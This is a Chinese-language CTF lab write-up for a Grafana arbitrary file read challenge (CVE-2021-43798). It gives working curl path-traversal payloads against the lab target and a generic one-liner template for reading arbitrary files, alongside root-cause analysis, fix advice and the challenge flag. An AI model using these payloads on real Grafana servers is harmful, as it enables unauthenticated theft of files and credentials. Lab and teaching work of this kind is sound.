网络安全靶场WP:Grafana 任意文件读取漏洞(CVE-2021-43798)
平台 :玄机靶场(https://xj.edisec.net/challenges/413)
题目类型 :渗透 / 简单
积分 :300 分
完成状态 :✅ 已完成(第 6 名)
Flag :flag{1cd4a829-296d-45b2-abf6-c4313020985c}
一、漏洞背景
CVE-2021-43798 是 Grafana 8.0.0-beta1 至 8.3.0 版本中存在的一个任意文件读取漏洞。2021 年 12 月,推特用户 @j0v 公开披露该 0day 漏洞。
漏洞成因:Grafana 的插件静态文件服务接口
/public/plugins/<plugin_name>/在处理文件路径时,未对 URL 编码的路径穿越序列(%2e%2e%2f)进行正确规范化,导致攻击者可以读取服务器上的任意文件,且无需任何认证。
二、漏洞信息
| 属性 | 内容 |
|---|---|
| CVE 编号 | CVE-2021-43798 |
| 影响版本 | Grafana 8.0.0-beta1 ~ 8.3.0 |
| 漏洞类型 | 路径穿越(Path Traversal)/ 任意文件读取 |
| 认证要求 | 无需认证 |
| CVSS 评分 | 7.5(High) |
| 漏洞端点 | GET /public/plugins/<plugin_name>/<traversal_path> |
三、靶机信息
| 属性 | 内容 |
|---|---|
| 靶机 IP | 161.189.114.245 |
| 服务端口 | 3000(Grafana Web UI) |
| 目标文件 | /flag |
| 靶机倒计时 | 30 分钟 |
四、漏洞利用过程
步骤 1:确认服务可达
bash
curl -s -o /dev/null -w "%{http_code}" http://161.189.114.245:3000/
# 返回 302,重定向到 /login,确认 Grafana 服务正常运行
步骤 2:构造路径穿越 Payload
CVE-2021-43798 的关键在于使用 URL 编码的点斜杠 (%2e%2e%2f)绕过 Grafana 的路径规范化检查:
- 普通
../会被 Grafana 的路由层规范化,返回 302 重定向到登录页 %2e%2e%2f(即../的 URL 编码)绕过了路由层检查,直接到达文件服务层
步骤 3:发送利用请求
bash
curl -s --path-as-is \
"http://161.189.114.245:3000/public/plugins/alertlist/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fflag"
响应内容:
flag{1cd4a829-296d-45b2-abf6-c4313020985c}
注意 :
--path-as-is参数防止 curl 自动规范化 URL 中的%2e%2e序列,确保 payload 原样发送到服务器。
步骤 4:提交 Flag
在平台步骤 #1 的 Flag 提交框中输入 flag{1cd4a829-296d-45b2-abf6-c4313020985c},提交成功,题目状态变为"已完成"。
五、漏洞原理深入分析
Grafana 的插件静态文件服务代码在处理请求路径时,存在两层检查:
- 路由层 (Go 的
net/http路由):会对../进行规范化,防止路径穿越 - 文件服务层 (
http.ServeFile):接收到路径后直接读取文件
当使用 %2e%2e%2f 时,路由层不识别为路径穿越(因为它是 URL 编码形式),直接将请求传递给文件服务层。文件服务层在解码 URL 后,路径变为 ../../../../../../../flag,从而读取到根目录下的 /flag 文件。
六、修复建议
| 修复方案 | 说明 |
|---|---|
| 升级版本 | 升级到 Grafana 8.3.1 或更高版本 |
| 路径规范化 | 在文件服务层对 URL 解码后的路径进行规范化检查 |
| 访问控制 | 限制 /public/plugins/ 接口只能访问插件目录内的文件 |
| 网络隔离 | 将 Grafana 部署在内网,不直接暴露到公网 |
七、关键命令
bash
# 一行命令读取任意文件
curl -s --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fFILE_PATH"